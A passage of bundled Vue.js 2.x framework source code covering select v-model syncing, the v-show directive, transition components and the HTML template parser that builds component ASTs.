// detect such cases and filter out values that no longer has a matching
// option in the DOM.
var needReset = el.multiple ? binding.value.some(function (v) {
return hasNoMatchingOption(v, el.options);
}) : binding.value !== binding.oldValue && hasNoMatchingOption(binding.value, el.options);
if (needReset) {
trigger(el, 'change');
}
}
}
};
function setSelected(el, binding, vm) {
var value = binding.value;
var isMultiple = el.multiple;
if (isMultiple && !Array.isArray(value)) {
"development" !== 'production' && warn("<select multiple v-model=\"" + binding.expression + "\"> " + "expects an Array value for its binding, but got " + Object.prototype.toString.call(value).slice(8, -1), vm);
return;
}
var selected, option;
for (var i = 0, l = el.options.length; i < l; i++) {
option = el.options[i];
if (isMultiple) {
selected = looseIndexOf(value, getValue(option)) > -1;
if (option.selected !== selected) {
option.selected = selected;
}
} else {
if (looseEqual(getValue(option), value)) {
if (el.selectedIndex !== i) {
el.selectedIndex = i;
}
return;
}
}
}
if (!isMultiple) {
el.selectedIndex = -1;
}
}
function hasNoMatchingOption(value, options) {
for (var i = 0, l = options.length; i < l; i++) {
if (looseEqual(getValue(options[i]), value)) {
return false;
}
}
return true;
}
function getValue(option) {
return '_value' in option ? option._value : option.value;
}
function onCompositionStart(e) {
e.target.composing = true;
}
function onCompositionEnd(e) {
// prevent triggering an input event for no reason
if (!e.target.composing) {
return;
}
e.target.composing = false;
trigger(e.target, 'input');
}
function trigger(el, type) {
var e = document.createEvent('HTMLEvents');
e.initEvent(type, true, true);
el.dispatchEvent(e);
}
/* */
// recursively search for possible transition defined inside the component root
function locateNode(vnode) {
return vnode.componentInstance && (!vnode.data || !vnode.data.transition) ? locateNode(vnode.componentInstance._vnode) : vnode;
}
var show = {
bind: function bind(el, ref, vnode) {
var value = ref.value;
vnode = locateNode(vnode);
var transition = vnode.data && vnode.data.transition;
var originalDisplay = el.__vOriginalDisplay = el.style.display === 'none' ? '' : el.style.display;
if (value && transition && !isIE9) {
vnode.data.show = true;
enter(vnode, function () {
el.style.display = originalDisplay;
});
} else {
el.style.display = value ? originalDisplay : 'none';
}
},
update: function update(el, ref, vnode) {
var value = ref.value;
var oldValue = ref.oldValue;
/* istanbul ignore if */
if (value === oldValue) {
return;
}
vnode = locateNode(vnode);
var transition = vnode.data && vnode.data.transition;
if (transition && !isIE9) {
vnode.data.show = true;
if (value) {
enter(vnode, function () {
el.style.display = el.__vOriginalDisplay;
});
} else {
leave(vnode, function () {
el.style.display = 'none';
});
}
} else {
el.style.display = value ? el.__vOriginalDisplay : 'none';
}
},
unbind: function unbind(el, binding, vnode, oldVnode, isDestroy) {
if (!isDestroy) {
el.style.display = el.__vOriginalDisplay;
}
}
};
var platformDirectives = {
model: model$1,
show: show
};
/* */
// Provides transition support for a single element/component.
// supports transition mode (out-in / in-out)
var transitionProps = {
name: String,
appear: Boolean,
css: Boolean,
mode: String,
type: String,
enterClass: String,
leaveClass: String,
enterToClass: String,
leaveToClass: String,
enterActiveClass: String,
leaveActiveClass: String,
appearClass: String,
appearActiveClass: String,
appearToClass: String,
duration: [Number, String, Object]
};
// in case the child is also an abstract component, e.g. <keep-alive>
// we want to recursively retrieve the real component to be rendered
function getRealChild(vnode) {
var compOptions = vnode && vnode.componentOptions;
if (compOptions && compOptions.Ctor.options.abstract) {
return getRealChild(getFirstComponentChild(compOptions.children));
} else {
return vnode;
}
}
function extractTransitionData(comp) {
var data = {};
var options = comp.$options;
// props
for (var key in options.propsData) {
data[key] = comp[key];
}
// events.
// extract listeners and pass them directly to the transition methods
var listeners = options._parentListeners;
for (var key$1 in listeners) {
data[camelize(key$1)] = listeners[key$1];
}
return data;
}
function placeholder(h, rawChild) {
if (/\d-keep-alive$/.test(rawChild.tag)) {
return h('keep-alive', {
props: rawChild.componentOptions.propsData
});
}
}
function hasParentTransition(vnode) {
while (vnode = vnode.parent) {
if (vnode.data.transition) {
return true;
}
}
}
function isSameChild(child, oldChild) {
return oldChild.key === child.key && oldChild.tag === child.tag;
}
var Transition = {
name: 'transition',
props: transitionProps,
abstract: true,
render: function render(h) {
var this$1 = this;
var children = this.$slots.default;
if (!children) {
return;
}
// filter out text nodes (possible whitespaces)
children = children.filter(function (c) {
return c.tag;
});
/* istanbul ignore if */
if (!children.length) {
return;
}
// warn multiple elements
if ("development" !== 'production' && children.length > 1) {
warn('<transition> can only be used on a single element. Use ' + '<transition-group> for lists.', this.$parent);
}
var mode = this.mode;
// warn invalid mode
if ("development" !== 'production' && mode && mode !== 'in-out' && mode !== 'out-in') {
warn('invalid <transition> mode: ' + mode, this.$parent);
}
var rawChild = children[0];
// if this is a component root node and the component's
// parent container node also has transition, skip.
if (hasParentTransition(this.$vnode)) {
return rawChild;
}
// apply transition data to child
// use getRealChild() to ignore abstract components e.g. keep-alive
var child = getRealChild(rawChild);
/* istanbul ignore if */
if (!child) {
return rawChild;
}
if (this._leaving) {
return placeholder(h, rawChild);
}
// ensure a key that is unique to the vnode type and to this transition
// component instance. This key will be used to remove pending leaving nodes
// during entering.
var id = "__transition-" + this._uid + "-";
child.key = child.key == null ? id + child.tag : isPrimitive(child.key) ? String(child.key).indexOf(id) === 0 ? child.key : id + child.key : child.key;
var data = (child.data || (child.data = {})).transition = extractTransitionData(this);
var oldRawChild = this._vnode;
var oldChild = getRealChild(oldRawChild);
// mark v-show
// so that the transition module can hand over the control to the directive
if (child.data.directives && child.data.directives.some(function (d) {
return d.name === 'show';
})) {
child.data.show = true;
}
if (oldChild && oldChild.data && !isSameChild(child, oldChild)) {
// replace old child transition data with fresh one
// important for dynamic transitions!
var oldData = oldChild && (oldChild.data.transition = extend({}, data));
// handle transition mode
if (mode === 'out-in') {
// return placeholder node and queue update when leave finishes
this._leaving = true;
mergeVNodeHook(oldData, 'afterLeave', function () {
this$1._leaving = false;
this$1.$forceUpdate();
});
return placeholder(h, rawChild);
} else if (mode === 'in-out') {
var delayedLeave;
var performLeave = function performLeave() {
delayedLeave();
};
mergeVNodeHook(data, 'afterEnter', performLeave);
mergeVNodeHook(data, 'enterCancelled', performLeave);
mergeVNodeHook(oldData, 'delayLeave', function (leave) {
delayedLeave = leave;
});
}
}
return rawChild;
}
};
/* */
// Provides transition support for list items.
// supports move transitions using the FLIP technique.
// Because the vdom's children update algorithm is "unstable" - i.e.
// it doesn't guarantee the relative positioning of removed elements,
// we force transition-group to update its children into two passes:
// in the first pass, we remove all nodes that need to be removed,
// triggering their leaving transition; in the second pass, we insert/move
// into the final desired state. This way in the second pass removed
// nodes will remain where they should be.
var props = extend({
tag: String,
moveClass: String
}, transitionProps);
delete props.mode;
var TransitionGroup = {
props: props,
render: function render(h) {
var tag = this.tag || this.$vnode.data.tag || 'span';
var map = Object.create(null);
var prevChildren = this.prevChildren = this.children;
var rawChildren = this.$slots.default || [];
var children = this.children = [];
var transitionData = extractTransitionData(this);
for (var i = 0; i < rawChildren.length; i++) {
var c = rawChildren[i];
if (c.tag) {
if (c.key != null && String(c.key).indexOf('__vlist') !== 0) {
children.push(c);
map[c.key] = c;(c.data || (c.data = {})).transition = transitionData;
} else if (true) {
var opts = c.componentOptions;
var name = opts ? opts.Ctor.options.name || opts.tag || '' : c.tag;
warn("<transition-group> children must be keyed: <" + name + ">");
}
}
}
if (prevChildren) {
var kept = [];
var removed = [];
for (var i$1 = 0; i$1 < prevChildren.length; i$1++) {
var c$1 = prevChildren[i$1];
c$1.data.transition = transitionData;
c$1.data.pos = c$1.elm.getBoundingClientRect();
if (map[c$1.key]) {
kept.push(c$1);
} else {
removed.push(c$1);
}
}
this.kept = h(tag, null, kept);
this.removed = removed;
}
return h(tag, null, children);
},
beforeUpdate: function beforeUpdate() {
// force removing pass
this.__patch__(this._vnode, this.kept, false, // hydrating
true // removeOnly (!important, avoids unnecessary moves)
);
this._vnode = this.kept;
},
updated: function updated() {
var children = this.prevChildren;
var moveClass = this.moveClass || (this.name || 'v') + '-move';
if (!children.length || !this.hasMove(children[0].elm, moveClass)) {
return;
}
// we divide the work into three loops to avoid mixing DOM reads and writes
// in each iteration - which helps prevent layout thrashing.
children.forEach(callPendingCbs);
children.forEach(recordPosition);
children.forEach(applyTranslation);
// force reflow to put everything in position
var body = document.body;
var f = body.offsetHeight; // eslint-disable-line
children.forEach(function (c) {
if (c.data.moved) {
var el = c.elm;
var s = el.style;
addTransitionClass(el, moveClass);
s.transform = s.WebkitTransform = s.transitionDuration = '';
el.addEventListener(transitionEndEvent, el._moveCb = function cb(e) {
if (!e || /transform$/.test(e.propertyName)) {
el.removeEventListener(transitionEndEvent, cb);
el._moveCb = null;
removeTransitionClass(el, moveClass);
}
});
}
});
},
methods: {
hasMove: function hasMove(el, moveClass) {
/* istanbul ignore if */
if (!hasTransition) {
return false;
}
if (this._hasMove != null) {
return this._hasMove;
}
// Detect whether an element with the move class applied has
// CSS transitions. Since the element may be inside an entering
// transition at this very moment, we make a clone of it and remove
// all other transition classes applied to ensure only the move class
// is applied.
var clone = el.cloneNode();
if (el._transitionClasses) {
el._transitionClasses.forEach(function (cls) {
removeClass(clone, cls);
});
}
addClass(clone, moveClass);
clone.style.display = 'none';
this.$el.appendChild(clone);
var info = getTransitionInfo(clone);
this.$el.removeChild(clone);
return this._hasMove = info.hasTransform;
}
}
};
function callPendingCbs(c) {
/* istanbul ignore if */
if (c.elm._moveCb) {
c.elm._moveCb();
}
/* istanbul ignore if */
if (c.elm._enterCb) {
c.elm._enterCb();
}
}
function recordPosition(c) {
c.data.newPos = c.elm.getBoundingClientRect();
}
function applyTranslation(c) {
var oldPos = c.data.pos;
var newPos = c.data.newPos;
var dx = oldPos.left - newPos.left;
var dy = oldPos.top - newPos.top;
if (dx || dy) {
c.data.moved = true;
var s = c.elm.style;
s.transform = s.WebkitTransform = "translate(" + dx + "px," + dy + "px)";
s.transitionDuration = '0s';
}
}
var platformComponents = {
Transition: Transition,
TransitionGroup: TransitionGroup
};
/* */
// install platform specific utils
Vue$3.config.mustUseProp = mustUseProp;
Vue$3.config.isReservedTag = isReservedTag;
Vue$3.config.isReservedAttr = isReservedAttr;
Vue$3.config.getTagNamespace = getTagNamespace;
Vue$3.config.isUnknownElement = isUnknownElement;
// install platform runtime directives & components
extend(Vue$3.options.directives, platformDirectives);
extend(Vue$3.options.components, platformComponents);
// install platform patch function
Vue$3.prototype.__patch__ = inBrowser ? patch : noop;
// public mount method
Vue$3.prototype.$mount = function (el, hydrating) {
el = el && inBrowser ? query(el) : undefined;
return mountComponent(this, el, hydrating);
};
// devtools global hook
/* istanbul ignore next */
setTimeout(function () {
if (config.devtools) {
if (devtools) {
devtools.emit('init', Vue$3);
} else if ("development" !== 'production' && isChrome) {
console[console.info ? 'info' : 'log']('Download the Vue Devtools extension for a better development experience:\n' + 'https://github.com/vuejs/vue-devtools');
}
}
if ("development" !== 'production' && config.productionTip !== false && inBrowser && typeof console !== 'undefined') {
console[console.info ? 'info' : 'log']("You are running Vue in development mode.\n" + "Make sure to turn on production mode when deploying for production.\n" + "See more tips at https://vuejs.org/guide/deployment.html");
}
}, 0);
/* */
// check whether current browser encodes a char inside attribute values
function shouldDecode(content, encoded) {
var div = document.createElement('div');
div.innerHTML = "<div a=\"" + content + "\">";
return div.innerHTML.indexOf(encoded) > 0;
}
// #3663
// IE encodes newlines inside attribute values while other browsers don't
var shouldDecodeNewlines = inBrowser ? shouldDecode('\n', ' ') : false;
/* */
var isUnaryTag = makeMap('area,base,br,col,embed,frame,hr,img,input,isindex,keygen,' + 'link,meta,param,source,track,wbr');
// Elements that you can, intentionally, leave open
// (and which close themselves)
var canBeLeftOpenTag = makeMap('colgroup,dd,dt,li,options,p,td,tfoot,th,thead,tr,source');
// HTML5 tags https://html.spec.whatwg.org/multipage/indices.html#elements-3
// Phrasing Content https://html.spec.whatwg.org/multipage/dom.html#phrasing-content
var isNonPhrasingTag = makeMap('address,article,aside,base,blockquote,body,caption,col,colgroup,dd,' + 'details,dialog,div,dl,dt,fieldset,figcaption,figure,footer,form,' + 'h1,h2,h3,h4,h5,h6,head,header,hgroup,hr,html,legend,li,menuitem,meta,' + 'optgroup,option,param,rp,rt,source,style,summary,tbody,td,tfoot,th,thead,' + 'title,tr,track');
/* */
var decoder;
function decode(html) {
decoder = decoder || document.createElement('div');
decoder.innerHTML = html;
return decoder.textContent;
}
/**
* Not type-checking this file because it's mostly vendor code.
*/
/*!
* HTML Parser By John Resig (ejohn.org)
* Modified by Juriy "kangax" Zaytsev
* Original code by Erik Arvidsson, Mozilla Public License
* http://erik.eae.net/simplehtmlparser/simplehtmlparser.js
*/
// Regular Expressions for parsing tags and attributes
var singleAttrIdentifier = /([^\s"'<>/=]+)/;
var singleAttrAssign = /(?:=)/;
var singleAttrValues = [
// attr value double quotes
/"([^"]*)"+/.source,
// attr value, single quotes
/'([^']*)'+/.source,
// attr value, no quotes
/([^\s"'=<>`]+)/.source];
var attribute = new RegExp('^\\s*' + singleAttrIdentifier.source + '(?:\\s*(' + singleAttrAssign.source + ')' + '\\s*(?:' + singleAttrValues.join('|') + '))?');
// could use https://www.w3.org/TR/1999/REC-xml-names-19990114/#NT-QName
// but for Vue templates we can enforce a simple charset
var ncname = '[a-zA-Z_][\\w\\-\\.]*';
var qnameCapture = '((?:' + ncname + '\\:)?' + ncname + ')';
var startTagOpen = new RegExp('^<' + qnameCapture);
var startTagClose = /^\s*(\/?)>/;
var endTag = new RegExp('^<\\/' + qnameCapture + '[^>]*>');
var doctype = /^<!DOCTYPE [^>]+>/i;
var comment = /^<!--/;
var conditionalComment = /^<!\[/;
var IS_REGEX_CAPTURING_BROKEN = false;
'x'.replace(/x(.)?/g, function (m, g) {
IS_REGEX_CAPTURING_BROKEN = g === '';
});
// Special Elements (can contain anything)
var isPlainTextElement = makeMap('script,style,textarea', true);
var reCache = {};
var decodingMap = {
'<': '<',
'>': '>',
'"': '"',
'&': '&',
' ': '\n'
};
var encodedAttr = /&(?:lt|gt|quot|amp);/g;
var encodedAttrWithNewLines = /&(?:lt|gt|quot|amp|#10);/g;
function decodeAttr(value, shouldDecodeNewlines) {
var re = shouldDecodeNewlines ? encodedAttrWithNewLines : encodedAttr;
return value.replace(re, function (match) {
return decodingMap[match];
});
}
function parseHTML(html, options) {
var stack = [];
var expectHTML = options.expectHTML;
var isUnaryTag$$1 = options.isUnaryTag || no;
var canBeLeftOpenTag$$1 = options.canBeLeftOpenTag || no;
var index = 0;
var last, lastTag;
while (html) {
last = html;
// Make sure we're not in a plaintext content element like script/style
if (!lastTag || !isPlainTextElement(lastTag)) {
var textEnd = html.indexOf('<');
if (textEnd === 0) {
// Comment:
if (comment.test(html)) {
var commentEnd = html.indexOf('-->');
if (commentEnd >= 0) {
advance(commentEnd + 3);
continue;
}
}
// http://en.wikipedia.org/wiki/Conditional_comment#Downlevel-revealed_conditional_comment
if (conditionalComment.test(html)) {
var conditionalEnd = html.indexOf(']>');
if (conditionalEnd >= 0) {
advance(conditionalEnd + 2);
continue;
}
}
// Doctype:
var doctypeMatch = html.match(doctype);
if (doctypeMatch) {
advance(doctypeMatch[0].length);
continue;
}
// End tag:
var endTagMatch = html.match(endTag);
if (endTagMatch) {
var curIndex = index;
advance(endTagMatch[0].length);
parseEndTag(endTagMatch[1], curIndex, index);
continue;
}
// Start tag:
var startTagMatch = parseStartTag();
if (startTagMatch) {
handleStartTag(startTagMatch);
continue;
}
}
var text = void 0,
rest$1 = void 0,
next = void 0;
if (textEnd >= 0) {
rest$1 = html.slice(textEnd);
while (!endTag.test(rest$1) && !startTagOpen.test(rest$1) && !comment.test(rest$1) && !conditionalComment.test(rest$1)) {
// < in plain text, be forgiving and treat it as text
next = rest$1.indexOf('<', 1);
if (next < 0) {
break;
}
textEnd += next;
rest$1 = html.slice(textEnd);
}
text = html.substring(0, textEnd);
advance(textEnd);
}
if (textEnd < 0) {
text = html;
html = '';
}
if (options.chars && text) {
options.chars(text);
}
} else {
var stackedTag = lastTag.toLowerCase();
var reStackedTag = reCache[stackedTag] || (reCache[stackedTag] = new RegExp('([\\s\\S]*?)(</' + stackedTag + '[^>]*>)', 'i'));
var endTagLength = 0;
var rest = html.replace(reStackedTag, function (all, text, endTag) {
endTagLength = endTag.length;
if (!isPlainTextElement(stackedTag) && stackedTag !== 'noscript') {
text = text.replace(/<!--([\s\S]*?)-->/g, '$1').replace(/<!\[CDATA\[([\s\S]*?)]]>/g, '$1');
}
if (options.chars) {
options.chars(text);
}
return '';
});
index += html.length - rest.length;
html = rest;
parseEndTag(stackedTag, index - endTagLength, index);
}
if (html === last) {
options.chars && options.chars(html);
if ("development" !== 'production' && !stack.length && options.warn) {
options.warn("Mal-formatted tag at end of template: \"" + html + "\"");
}
break;
}
}
// Clean up any remaining tags
parseEndTag();
function advance(n) {
index += n;
html = html.substring(n);
}
function parseStartTag() {
var start = html.match(startTagOpen);
if (start) {
var match = {
tagName: start[1],
attrs: [],
start: index
};
advance(start[0].length);
var end, attr;
while (!(end = html.match(startTagClose)) && (attr = html.match(attribute))) {
advance(attr[0].length);
match.attrs.push(attr);
}
if (end) {
match.unarySlash = end[1];
advance(end[0].length);
match.end = index;
return match;
}
}
}
function handleStartTag(match) {
var tagName = match.tagName;
var unarySlash = match.unarySlash;
if (expectHTML) {
if (lastTag === 'p' && isNonPhrasingTag(tagName)) {
parseEndTag(lastTag);
}
if (canBeLeftOpenTag$$1(tagName) && lastTag === tagName) {
parseEndTag(tagName);
}
}
var unary = isUnaryTag$$1(tagName) || tagName === 'html' && lastTag === 'head' || !!unarySlash;
var l = match.attrs.length;
var attrs = new Array(l);
for (var i = 0; i < l; i++) {
var args = match.attrs[i];
// hackish work around FF bug https://bugzilla.mozilla.org/show_bug.cgi?id=369778
if (IS_REGEX_CAPTURING_BROKEN && args[0].indexOf('""') === -1) {
if (args[3] === '') {
delete args[3];
}
if (args[4] === '') {
delete args[4];
}
if (args[5] === '') {
delete args[5];
}
}
var value = args[3] || args[4] || args[5] || '';
attrs[i] = {
name: args[1],
value: decodeAttr(value, options.shouldDecodeNewlines)
};
}
if (!unary) {
stack.push({ tag: tagName, lowerCasedTag: tagName.toLowerCase(), attrs: attrs });
lastTag = tagName;
}
if (options.start) {
options.start(tagName, attrs, unary, match.start, match.end);
}
}
function parseEndTag(tagName, start, end) {
var pos, lowerCasedTagName;
if (start == null) {
start = index;
}
if (end == null) {
end = index;
}
if (tagName) {
lowerCasedTagName = tagName.toLowerCase();
}
// Find the closest opened tag of the same type
if (tagName) {
for (pos = stack.length - 1; pos >= 0; pos--) {
if (stack[pos].lowerCasedTag === lowerCasedTagName) {
break;
}
}
} else {
// If no tag name is provided, clean shop
pos = 0;
}
if (pos >= 0) {
// Close all the open elements, up the stack
for (var i = stack.length - 1; i >= pos; i--) {
if ("development" !== 'production' && (i > pos || !tagName) && options.warn) {
options.warn("tag <" + stack[i].tag + "> has no matching end tag.");
}
if (options.end) {
options.end(stack[i].tag, start, end);
}
}
// Remove the open elements from the stack
stack.length = pos;
lastTag = pos && stack[pos - 1].tag;
} else if (lowerCasedTagName === 'br') {
if (options.start) {
options.start(tagName, [], true, start, end);
}
} else if (lowerCasedTagName === 'p') {
if (options.start) {
options.start(tagName, [], false, start, end);
}
if (options.end) {
options.end(tagName, start, end);
}
}
}
}
/* */
var defaultTagRE = /\{\{((?:.|\n)+?)\}\}/g;
var regexEscapeRE = /[-.*+?^${}()|[\]\/\\]/g;
var buildRegex = cached(function (delimiters) {
var open = delimiters[0].replace(regexEscapeRE, '\\$&');
var close = delimiters[1].replace(regexEscapeRE, '\\$&');
return new RegExp(open + '((?:.|\\n)+?)' + close, 'g');
});
function parseText(text, delimiters) {
var tagRE = delimiters ? buildRegex(delimiters) : defaultTagRE;
if (!tagRE.test(text)) {
return;
}
var tokens = [];
var lastIndex = tagRE.lastIndex = 0;
var match, index;
while (match = tagRE.exec(text)) {
index = match.index;
// push text token
if (index > lastIndex) {
tokens.push(JSON.stringify(text.slice(lastIndex, index)));
}
// tag token
var exp = parseFilters(match[1].trim());
tokens.push("_s(" + exp + ")");
lastIndex = index + match[0].length;
}
if (lastIndex < text.length) {
tokens.push(JSON.stringify(text.slice(lastIndex)));
}
return tokens.join('+');
}
/* */
var onRE = /^@|^v-on:/;
var dirRE = /^v-|^@|^:/;
var forAliasRE = /(.*?)\s+(?:in|of)\s+(.*)/;
var forIteratorRE = /\((\{[^}]*\}|[^,]*),([^,]*)(?:,([^,]*))?\)/;
var argRE = /:(.*)$/;
var bindRE = /^:|^v-bind:/;
var modifierRE = /\.[^.]+/g;
var decodeHTMLCached = cached(decode);
// configurable state
var warn$2;
var delimiters;
var transforms;
var preTransforms;
var postTransforms;
var platformIsPreTag;
var platformMustUseProp;
var platformGetTagNamespace;
/**
* Convert HTML string to AST.
*/
function parse(template, options) {
warn$2 = options.warn || baseWarn;
platformGetTagNamespace = options.getTagNamespace || no;
platformMustUseProp = options.mustUseProp || no;
platformIsPreTag = options.isPreTag || no;
preTransforms = pluckModuleFunction(options.modules, 'preTransformNode');
transforms = pluckModuleFunction(options.modules, 'transformNode');
postTransforms = pluckModuleFunction(options.modules, 'postTransformNode');
delimiters = options.delimiters;
var stack = [];
var preserveWhitespace = options.preserveWhitespace !== false;
var root;
var currentParent;
var inVPre = false;
var inPre = false;
var warned = false;
function warnOnce(msg) {
if (!warned) {
warned = true;
warn$2(msg);
}
}
function endPre(element) {
// check pre state
if (element.pre) {
inVPre = false;
}
if (platformIsPreTag(element.tag)) {
inPre = false;
}
}
parseHTML(template, {
warn: warn$2,
expectHTML: options.expectHTML,
isUnaryTag: options.isUnaryTag,
canBeLeftOpenTag: options.canBeLeftOpenTag,
shouldDecodeNewlines: options.shouldDecodeNewlines,
start: function start(tag, attrs, unary) {
// check namespace.
// inherit parent ns if there is one
var ns = currentParent && currentParent.ns || platformGetTagNamespace(tag);
// handle IE svg bug
/* istanbul ignore if */
if (isIE && ns === 'svg') {
attrs = guardIESVGBug(attrs);
}
var element = {
type: 1,
tag: tag,
attrsList: attrs,
attrsMap: makeAttrsMap(attrs),
parent: currentParent,
children: []
};
if (ns) {
element.ns = ns;
}
if (isForbiddenTag(element) && !isServerRendering()) {
element.forbidden = true;
"development" !== 'production' && warn$2('Templates should only be responsible for mapping the state to the ' + 'UI. Avoid placing tags with side-effects in your templates, such as ' + "<" + tag + ">" + ', as they will not be parsed.');
}
// apply pre-transforms
for (var i = 0; i < preTransforms.length; i++) {
preTransforms[i](element, options);
}
if (!inVPre) {
processPre(element);
if (element.pre) {
inVPre = true;
}
}
if (platformIsPreTag(element.tag)) {
inPre = true;
}
if (inVPre) {
processRawAttrs(element);
} else {
processFor(element);
processIf(element);
processOnce(element);
processKey(element);
// determine whether this is a plain element after
// removing structural attributes
element.plain = !element.key && !attrs.length;
processRef(element);
processSlot(element);
processComponent(element);
for (var i$1 = 0; i$1 < transforms.length; i$1++) {
transforms[i$1](element, options);
}
processAttrs(element);
}
function checkRootConstraints(el) {
if (true) {
if (el.tag === 'slot' || el.tag === 'template') {
warnOnce("Cannot use <" + el.tag + "> as component root element because it may " + 'contain multiple nodes.');
}
if (el.attrsMap.hasOwnProperty('v-for')) {
warnOnce('Cannot use v-for on stateful component root element because ' + 'it renders multiple elements.');
}
}
}
// tree management
if (!root) {
root = element;
checkRootConstraints(root);
} else if (!stack.length) {
// allow root elements with v-if, v-else-if and v-else
if (root.if && (element.elseif || element.else)) {
checkRootConstraints(element);
addIfCondition(root, {
exp: element.elseif,
block: element
});
} else if (true) {
warnOnce("Component template should contain exactly one root element. " + "If you are using v-if on multiple elements, " + "use v-else-if to chain them instead.");
}
}
if (currentParent && !element.forbidden) {
if (element.elseif || element.else) {
processIfConditions(element, currentParent);
} else if (element.slotScope) {
// scoped slot
currentParent.plain = false;
var name = element.slotTarget || '"default"';(currentParent.scopedSlots || (currentParent.scopedSlots = {}))[name] = element;
} else {
currentParent.children.push(element);
element.parent = currentParent;
}
}
if (!unary) {
currentParent = element;
stack.push(element);
} else {
endPre(element);
}
// apply post-transforms
for (var i$2 = 0; i$2 < postTransforms.length; i$2++) {
postTransforms[i$2](element, options);
}
},
end: function end() {
// remove trailing whitespace
var element = stack[stack.length - 1];
var lastNode = element.children[element.children.length - 1];
if (lastNode && lastNode.type === 3 && lastNode.text === ' ' && !inPre) {
element.children.pop();
}
// pop stack
stack.length -= 1;
currentParent = stack[stack.length - 1];
endPre(element);
},
chars: function chars(text) {
if (!currentParent) {
if (true) {
if (text === template) {
warnOnce('Component template requires a root element, rather than just text.');
} else if (text = text.trim()) {
warnOnce("text \"" + text + "\" outside root element will be ignored.");
}
}
return;
}
// IE textarea placeholder bug
/* istanbul ignore if */
if (isIE && currentParent.tag === 'textarea' && currentParent.attrsMap.placeholder === text) {
return;
}
var children = currentParent.children;
text = inPre || text.trim() ? isTextTag(currentParent) ? text : decodeHTMLCached(text)
// only preserve whitespace if its not right after a starting tag
: preserveWhitespace && children.length ? ' ' : '';
if (text) {
var expression;
if (!inVPre && text !== ' ' && (expression = parseText(text, delimiters))) {
children.push({
type: 2,
expression: expression,
text: text
});
} else if (text !== ' ' || !children.length || children[children.length - 1].text !== ' ') {
children.push({
type: 3,
text: text
});
}
}
}
});
return root;
}
function processPre(el) {
if (getAndRemoveAttr(el, 'v-pre') != null) {
el.pre = true;
}
}
function processRawAttrs(el) {
var l = el.attrsList.length;
if (l) {
var attrs = el.attrs = new Array(l);
for (var i = 0; i < l; i++) {
attrs[i] = {
name: el.attrsList[i].name,
value: JSON.stringify(el.attrsList[i].value)
};
}
} else if (!el.pre) {
// non root node in pre blocks with no attributes
el.plain = true;
}
}
function processKey(el) {
var exp = getBindingAttr(el, 'key');
if (exp) {
if ("development" !== 'production' && el.tag === 'template') {
warn$2("<template> cannot be keyed. Place the key on real elements instead.");
}
el.key = exp;
}
}
function processRef(el) {
var ref = getBindingAttr(el, 'ref');
if (ref) {
el.ref = ref;
el.refInFor = checkInFor(el);
}
}
function processFor(el) {
var exp;
if (exp = getAndRemoveAttr(el, 'v-for')) {
var inMatch = exp.match(forAliasRE);
if (!inMatch) {
"development" !== 'production' && warn$2("Invalid v-for expression: " + exp);
return;
}
el.for = inMatch[2].trim();
var alias = inMatch[1].trim();
var iteratorMatch = alias.match(forIteratorRE);
if (iteratorMatch) {
el.alias = iteratorMatch[1].trim();
el.iterator1 = iteratorMatch[2].trim();
if (iteratorMatch[3]) {
el.iterator2 = iteratorMatch[3].trim();
}
} else {
el.alias = alias;
}
}
}
function processIf(el) {
var exp = getAndRemoveAttr(el, 'v-if');
if (exp) {
el.if = exp;
addIfCondition(el, {
exp: exp,
block: el
});
} else {
if (getAndRemoveAttr(el, 'v-else') != null) {
el.else = true;
}
var elseif = getAndRemoveAttr(el, 'v-else-if');
if (elseif) {
el.elseif = elseif;
}
}
}
function processIfConditions(el, parent) {
var prev = findPrevElement(parent.children);
if (prev && prev.if) {
addIfCondition(prev, {
exp: el.elseif,
block: el
});
} else if (true) {
warn$2("v-" + (el.elseif ? 'else-if="' + el.elseif + '"' : 'else') + " " + "used on element <" + el.tag + "> without corresponding v-if.");
}
}
function findPrevElement(children) {
var i = children.length;
while (i--) {
if (children[i].type === 1) {
return children[i];
} else {
if ("development" !== 'production' && children[i].text !== ' ') {
warn$2("text \"" + children[i].text.trim() + "\" between v-if and v-else(-if) " + "will be ignored.");
}
children.pop();
}
}
}
function addIfCondition(el, condition) {
if (!el.ifConditions) {
el.ifConditions = [];
}
el.ifConditions.push(condition);
}
function processOnce(el) {
var once$$1 = getAndRemoveAttr(el, 'v-once');
if (once$$1 != null) {
el.once = true;
}
}
function processSlot(el) {
if (el.tag === 'slot') {
el.slotName = getBindingAttr(el, 'name');
if ("development" !== 'production' && el.key) {
warn$2("`key` does not work on <slot> because slots are abstract outlets " + "and can possibly expand into multiple elements. " + "Use the key on a wrapping element instead.");
}
} else {
var slotTarget = getBindingAttr(el, 'slot');
if (slotTarget) {
el.slotTarget = slotTarget === '""' ? '"default"' : slotTarget;
}
if (el.tag === 'template') {
el.slotScope = getAndRemoveAttr(el, 'scope');
}
}
}
function processComponent(el) {
var binding;
if (binding = getBindingAttr(el, 'is')) {
el.component = binding;
}
if (getAndRemoveAttr(el, 'inline-template') != null) {
el.inlineTemplate = true;
}
}
function processAttrs(el) {
var list = el.attrsList;
var i, l, name, rawName, value, modifiers, isProp;
for (i = 0, l = list.length; i < l; i++) {
name = rawName = list[i].name;
value = list[i].value;
if (dirRE.test(name)) {
// mark element as dynamic
el.hasBindings = true;
// modifiers
modifiers = parseModifiers(name);
if (modifiers) {
name = name.replace(modifierRE, '');
}
if (bindRE.test(name)) {
// v-bind
name = name.replace(bindRE, '');
value = parseFilters(value);
isProp = false;
if (modifiers) {
if (modifiers.prop) {
isProp = true;
name = camelize(name);
if (name === 'innerHtml') {
name = 'innerHTML';
}
}
if (modifiers.camel) {
name = camelize(name);
}
if (modifiers.sync) {
addHandler(el, "update:" + camelize(name), genAssignmentCode(value, "$event"));
}
}
if (isProp || platformMustUseProp(el.tag, el.attrsMap.type, name)) {
addProp(el, name, value);
} else {
addAttr(el, name, value);
}
} else if (onRE.test(name)) {
// v-on
name = name.replace(onRE, '');
addHandler(el, name, value, modifiers, false, warn$2);
} else {
// normal directives
name = name.replace(dirRE, '');
// parse arg
var argMatch = name.match(argRE);
var arg = argMatch && argMatch[1];
if (arg) {
name = name.slice(0, -(arg.length + 1));
}
addDirective(el, name, rawName, value, arg, modifiers);
if ("development" !== 'production' && name === 'model') {
checkForAliasModel(el, value);
}
}
} else {
// literal attribute
if (true) {
var expression = parseText(value, delimiters);
if (expression) {
warn$2(name + "=\"" + value + "\": " + 'Interpolation inside attributes has been removed. ' + 'Use v-bind or the colon shorthand instead. For example, ' + 'instead of <div id="{{ val }}">, use <div :id="val">.');
}
}
